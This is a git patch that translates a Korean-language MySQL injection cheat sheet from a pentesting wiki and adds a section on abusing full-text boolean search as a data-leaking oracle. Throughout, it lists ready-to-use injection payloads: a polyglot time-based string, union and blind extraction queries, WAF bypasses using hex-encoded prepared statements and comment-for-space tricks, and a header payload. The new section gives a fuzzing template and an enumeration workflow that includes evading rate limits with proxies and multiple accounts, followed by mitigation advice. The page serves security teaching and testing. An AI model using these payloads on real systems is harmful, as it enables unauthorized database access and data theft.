From 4d6a0cda0c8709d2f3b982e2a6d462be04dae350 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 00:49:02 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README --- .../sql-injection/mysql-injection/README.md | 119 ++++++++++++------ 1 file changed, 84 insertions(+), 35 deletions(-) diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index d8a39c358..8a93d419a 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -4,7 +4,7 @@ -## Comments +## 주석 ```sql -- MYSQL Comment # MYSQL Comment @@ -12,9 +12,9 @@ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` -## 흥미로운 기능 +## 흥미로운 함수 -### Confirm Mysql: +### Mysql 확인: ``` concat('a','b') database() @@ -44,7 +44,7 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` -## 모든 인젝션 +## 모든 injection ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` @@ -52,24 +52,24 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/] ## 흐름 -"현대" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다). +최신 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"** 대신 사용할 수 있다는 것을 기억하세요. (이는 WAFs를 우회하는 데 유용할 수 있습니다). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table SELECT , FROM ; #Get values SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ``` -### **오직 1 값** +### **값 1개만** - `group_concat()` - `Limit X,1` -### **블라인드 하나씩** +### **Blind 한 글자씩** -- `substr(version(),X,1)='r'` 또는 `substring(version(),X,1)=0x70` 또는 `ascii(substr(version(),X,1))=112` +- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` -### **블라인드 추가하기** +### **Blind 추가** - `LPAD(version(),1...lenght(version()),'1')='asd'...` - `RPAD(version(),1...lenght(version()),'1')='asd'...` @@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` -## 열의 수 감지 +## 컬럼 수 감지 간단한 ORDER 사용 ``` @@ -101,68 +101,68 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**여기에서 Mysql injection을 악용하여 SSRF를 얻는 다양한 옵션을 배워보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** +**여기에서 다양한 옵션을 알아보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** -## WAF 우회 기법 +## WAF bypass tricks -### Prepared Statements를 통한 쿼리 실행 +### Executing queries through Prepared Statements -스택 쿼리가 허용되는 경우, 실행하려는 쿼리의 16진수 표현을 변수에 할당하고 (SET을 사용하여) PREPARE 및 EXECUTE MySQL 문을 사용하여 궁극적으로 쿼리를 실행함으로써 WAF를 우회할 수 있을 수 있습니다. 다음과 같은 방식입니다: +stacked queries가 허용될 경우, 실행하려는 쿼리의 hex representation을 변수에 할당(SET 사용)한 뒤 PREPARE와 EXECUTE MySQL 문을 사용해 결국 그 쿼리를 실행함으로써 WAFs를 우회할 수 있습니다. 예: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -더 많은 정보는 [이 블로그 게시물](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)을 참조하세요. +자세한 내용은 [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)를 참조하세요. -### Information_schema 대안 +### Information_schema 대체 방법 -"현대" 버전의 **MySQL**에서는 _**information_schema.tables**_를 _**mysql.innodb_table_stats**_ 또는 _**sys.x$schema_flattened_keys**_ 또는 **sys.schema_table_statistics**로 대체할 수 있습니다. +기억하세요: "modern" 버전의 **MySQL**에서는 _**information_schema.tables**_을 _**mysql.innodb_table_stats**_ 또는 _**sys.x$schema_flattened_keys**_ 또는 **sys.schema_table_statistics**로 대체할 수 있습니다 -### MySQLinjection에서 쉼표 없이 +### MySQLinjection 쉼표 없이 -쉼표를 사용하지 않고 2개의 열 선택하기 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +쉼표를 사용하지 않고 2개의 컬럼 선택 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` -### 열 이름 없이 값 검색하기 +### 컬럼 이름 없이 값 가져오기 -어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 방법으로 열의 개수를 찾으려고 시도할 수 있습니다: +테이블 이름은 알고 있지만 테이블 안의 컬럼 이름을 모르는 경우, 다음과 같이 실행해서 컬럼이 몇 개인지 알아볼 수 있습니다: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그입니다), 문자 하나씩 시도하여 플래그의 내용을 무차별 대입으로 시도해 볼 수 있습니다: +두 개의 열이 있다고 가정하고(첫 번째가 ID이고 다른 하나가 flag인 경우), flag의 내용을 문자 하나씩 bruteforce하여 시도해 볼 수 있습니다: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` -더 많은 정보는 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)에서 확인하세요. +추가 정보: [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### SPACES 없이 주입하기 (`/**/` 주석 트릭) +### SPACES 없이 Injection (`/**/` comment trick) -일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수를 사용하여 사용자 입력을 정리하거나 구문 분석하며, 이 함수는 **첫 번째 공백 문자에서 멈춥니다**. -MySQL은 `/**/` 시퀀스를 주석 *및* 공백으로 처리하므로, 쿼리를 구문적으로 유효하게 유지하면서 페이로드에서 일반 공백을 완전히 제거하는 데 사용할 수 있습니다. +일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수로 사용자 입력을 정제하거나 파싱하는데, 이 함수들은 **첫 번째 공백 문자에서 멈춥니다**. +MySQL이 시퀀스 `/**/`를 주석 *그리고* 공백으로 처리하기 때문에, 이 표기를 이용하면 쿼리 문법을 유효하게 유지하면서 페이로드의 일반 공백을 완전히 제거할 수 있습니다. -공백 필터를 우회하는 시간 기반 블라인드 주입 예시: +예: time-based blind injection으로 space filter를 우회하는 방법: ```http GET /api/fabric/device/status HTTP/1.1 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' ``` -데이터베이스가 수신하는 내용: +데이터베이스가 받는 형태는: ```sql ' OR SLEEP(5)-- -' ``` -이것은 특히 유용합니다: +This is especially handy when: -* 제어 가능한 버퍼의 크기가 제한되어 있을 때 (예: `%128s`) 공백이 입력을 조기에 종료시킬 수 있습니다. -* 일반적인 공백이 제거되거나 구분자로 사용되는 HTTP 헤더 또는 다른 필드를 통해 주입할 때. -* `INTO OUTFILE` 원시와 결합하여 전체 사전 인증 RCE를 달성할 때 (MySQL File RCE 섹션 참조). +* 제어 가능한 버퍼의 크기가 제한되어 있을 때(예: `%128s`) 공백이 입력을 중간에 종료시킬 수 있습니다. +* HTTP headers 또는 일반 공백이 제거되거나 구분자로 사용되는 다른 필드를 통해 주입할 때. +* 완전한 pre-auth RCE를 달성하기 위해 `INTO OUTFILE` primitives와 결합될 때 (MySQL File RCE 섹션 참조). --- -### MySQL 역사 +### MySQL 기록 -MySQL에서 테이블을 읽어 다른 실행을 볼 수 있습니다: **sys.x$statement_analysis** +MySQL에서 테이블을 읽는 동안 수행된 다른 실행들을 볼 수 있습니다: **sys.x$statement_analysis** ### 버전 대안**s** ``` @@ -170,7 +170,52 @@ mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` -## 다른 MYSQL 인젝션 가이드 +## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) + +이것은 전형적인 SQL injection이 아닙니다. 개발자가 사용자 입력을 `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`에 전달할 때, MySQL은 인용된 문자열 내부에서 다양한 Boolean 검색 연산자를 실행합니다. 많은 WAF/SAST 규칙은 따옴표를 깨는 것에만 집중해 이 점을 놓칩니다. + +Key points: +- Operators are evaluated inside the quotes: `+` (반드시 포함), `-` (포함하지 않아야 함), `*` (후행 와일드카드), `"..."` (정확한 문구), `()` (그룹화), `<`/`>`/`~` (가중치). See MySQL docs. +- This allows presence/absence and prefix tests without breaking out of the string literal, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` to check for any term starting with `admin`. +- Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion. + +Example query built by the backend: +```sql +SELECT tid, firstpost +FROM threads +WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); +``` +애플리케이션이 result set이 비었는지에 따라 다른 응답(예: redirect vs. error message)을 반환한다면, 그 동작은 Boolean oracle이 되어 숨겨진/삭제된 제목과 같은 비공개 데이터를 열거하는 데 사용할 수 있다. + +Sanitizer bypass patterns (generic): +- Boundary-trim preserving wildcard: 백엔드가 단어당 1–2개의 꼬리 문자를 `(\b.{1,2})(\s)|(\b.{1,2}$)` 같은 정규식으로 잘라낸다면, `prefix*ZZ`를 제출하라. cleaner는 `ZZ`만 잘라내고 `*`는 남겨두므로 `prefix*`가 유지된다. +- Early-break stripping: 코드가 단어별로 연산자를 제거하지만 길이 ≥ min length인 토큰을 찾으면 처리를 중단한다면, 두 개의 토큰을 보낸다: 첫 번째는 길이 임계값을 충족하는 정크 토큰이고, 두 번째가 operator payload를 담는다. For example: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`. + +Payload template (URL-encoded): +``` +keywords=%26%26%26%26%26+%2B{FUZZ}*xD +``` +- `%26`는 `&`, `%2B`는 `+`입니다. 끝의 `xD` (또는 아무 두 문자)는 클리너에 의해 잘려 `{FUZZ}*`가 보존됩니다. +- 리다이렉트를 “match”로 처리하고 에러 페이지를 “no match”로 처리하세요. 오라클을 관찰 가능하게 유지하려면 리다이렉트를 자동으로 따라가지 마세요. + +열거 작업 흐름: +1) 첫 글자 매치를 찾기 위해 `{FUZZ} = a…z,0…9`로 시작하여 `+a*`, `+b*`, … 를 사용하세요. +2) 각 긍정적 접두사마다 분기: `a* → aa* / ab* / …`. 전체 문자열을 복구할 때까지 반복합니다. +3) 앱이 플러드 제어를 적용하면 요청을 분산하세요 (프록시, 다중 계정 등). + +왜 제목은 종종 leak하는데 본문은 그렇지 않은가: +- 일부 앱은 제목/주제에 대한 예비 MATCH 이후에만 가시성 검사를 적용합니다. 필터링 전에 제어 흐름이 “any results?” 결과에 의존하면, 존재성 leaks가 발생합니다. + +완화 방안: +- Boolean logic이 필요 없다면 `IN NATURAL LANGUAGE MODE`를 사용하거나 사용자 입력을 리터럴로 취급하세요 (이스케이프/따옴표로 다른 모드의 연산자를 비활성화). +- Boolean mode가 필요하다면 토큰화 후(중간 중단 없이) 모든 토큰에 대해 모든 Boolean 연산자 (`+ - * " ( ) < > ~`)를 제거하거나 무력화하세요. +- MATCH 이전에 가시성/권한 필터를 적용하거나, 결과 집합이 비어있을 때와 비어있지 않을 때의 응답(타이밍/상태)을 통일하세요. +- 다른 DBMS의 유사 기능을 검토하세요: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2의 `CONTAINS`도 따옴표로 감싼 인수 안의 연산자를 파싱합니다. + +참고: +- Prepared statements는 `REGEXP`나 검색 연산자의 의미적 남용으로부터 보호하지 않습니다. `.*` 같은 입력은 따옴표로 감싼 `REGEXP '.*'` 안에 있어도 여전히 관대한 정규식으로 남습니다. 허용 목록(allow-lists)이나 명시적 가드를 사용하세요. + +## Other MYSQL injection guides - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) @@ -178,6 +223,10 @@ mysql> select version(); - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) {{#include ../../../banners/hacktricks-training.md}}